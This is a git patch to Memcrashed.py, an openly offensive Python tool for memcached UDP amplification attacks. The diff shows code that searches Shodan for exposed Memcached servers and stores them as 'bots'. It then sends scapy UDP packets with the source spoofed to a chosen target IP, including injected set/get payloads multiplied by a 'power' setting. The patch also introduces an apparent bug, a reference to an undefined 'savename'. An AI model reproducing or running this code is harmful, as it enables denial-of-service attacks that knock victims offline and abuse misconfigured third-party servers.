From ac415367fb84b02545d58147270f764f339fe108 Mon Sep 17 00:00:00 2001 From: Mohammadreza Sarayloo Date: Wed, 17 Feb 2021 11:50:07 +0330 Subject: [PATCH] Memcrashed.py Code tuned extra print() lines removed. some tuning --- Memcrashed.py | 87 +++++++++++++++++++++------------------------------ 1 file changed, 35 insertions(+), 52 deletions(-) diff --git a/Memcrashed.py b/Memcrashed.py index bf89a6e..39ee193 100644 --- a/Memcrashed.py +++ b/Memcrashed.py @@ -58,19 +58,16 @@ class color: myresults = Path("./bots.txt") query = input("[*] Use Shodan API to search for affected Memcached servers? : ").lower() if query.startswith('y'): - print('') - print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) + print('\n[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) results = api.search('product:"Memcached" port:11211') - print('[✓] API Key Authentication: SUCCESS') - print('[~] Number of bots: %s' % results['total']) - print('') + print('[✓] API Key Authentication: SUCCESS\n + [~] Number of bots: %s\n' % results['total']) saveresult = input("[*] Save results for later usage? : ").lower() if saveresult.startswith('y'): file2 = open('bots.txt', 'a') for result in results['matches']: file2.write(result['ip_str'] + "\n") - print('[~] File written: ./bots.txt') - print('') + print('[~] File written: ./bots.txt\n') file2.close() saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower() if myresults.is_file(): @@ -78,62 +75,54 @@ class color: with open('bots.txt') as my_file: ip_array = [line.rstrip() for line in my_file] else: - print('') - print('[✘] Error: No bots stored locally, bots.txt file not found!') - print('') + print('\n[✘] Error: No bots stored locally, bots.txt file not found!\n') if saveme.startswith('y') or query.startswith('y'): - print('') - target = input("[▸] Enter target IP address: ") + target = input("\n[▸] Enter target IP address: ") targetport = input("[▸] Enter target port number (Default 80): ") or "80" power = int(input("[▸] Enter preferred power (Default 1): ") or "1") - print('') - data = input("[+] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" + data = input("\n[+] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): dataset = "set injected 0 3600 ", len(data)+1, "\r\n", data, "\r\n get injected\r\n" setdata = ("\x00\x00\x00\x00\x00\x00\x00\x00set\x00injected\x000\x003600\x00%s\r\n%s\r\n" % (len(data)+1, data)) getdata = ("\x00\x00\x00\x00\x00\x00\x00\x00get\x00injected\r\n") - print("[+] Payload transformed: ", dataset) - print('') + print("[+] Payload transformed: \n", dataset) if query.startswith('y'): iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower() if iplist.startswith('y'): - print('') counter= int(0) for result in results['matches']: host = api.host('%s' % result['ip_str']) - counter=counter+1 - print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) + counter += 1 + print('\n[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 - ((time.time() - starttime) % 1.1)) if saveme.startswith('y'): iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower() if iplistlocal.startswith('y'): - print('') counter= int(0) for x in ip_array: host = api.host('%s' % x) - counter=counter+1 - print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) + counter += 1 + print('\n[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 - ((time.time() - starttime) % 1.1)) print('') engage = input('[*] Ready to engage target %s? : ' % target).lower() if engage.startswith('y'): - if saveme.startswith('y'): - for i in ip_array: - if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): - print('[+] Sending 2 forged synchronized payloads to: %s' % (i)) + for i in ip_array: + if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): + print('[+] Sending 2 forged synchronized payloads to: %s' % (i)) + with suppress_stdout(): + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1) + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power) + else: + if power > 1: + print('[+] Sending %d forged UDP packets to: %s' % (power, i)) with suppress_stdout(): - send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1) - send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power) - else: - if power>1: - print('[+] Sending %d forged UDP packets to: %s' % (power, i)) - with suppress_stdout(): - send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) - elif power==1: - print('[+] Sending 1 forged UDP packet to: %s' % i) - with suppress_stdout(): - send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) - else: + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) + elif power == 1: + print('[+] Sending 1 forged UDP packet to: %s' % i) + with suppress_stdout(): + send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) + if savename.startswith('n'): for result in results['matches']: if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"): print('[+] Sending 2 forged synchronized payloads to: %s' % (i)) @@ -141,27 +130,22 @@ class color: send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1) send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power) else: - if power>1: + if power > 1: print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str'])) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) - elif power==1: + elif power == 1: print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power) - print('') - print('[•] Task complete! Exiting Platform. Have a wonderful day.') + print('\n[•] Task complete! Exiting Platform. Have a wonderful day.') break else: - print('') - print('[✘] Error: %s not engaged!' % target) - print('[~] Restarting Platform! Please wait.') - print('') + print('\n[✘] Error: %s not engaged!' % target) + print('[~] Restarting Platform! Please wait.\n') else: - print('') - print('[✘] Error: No bots stored locally or remotely on Shodan!') - print('[~] Restarting Platform! Please wait.') - print('') + print('\n[✘] Error: No bots stored locally or remotely on Shodan!') + print('[~] Restarting Platform! Please wait.\n') except shodan.APIError as e: print('[✘] Error: %s' % e) @@ -175,6 +159,5 @@ class color: print('[~] Restarting Platform! Please wait.') print('') else: - print('') - print('[•] Exiting Platform. Have a wonderful day.') + print('\n[•] Exiting Platform. Have a wonderful day.') break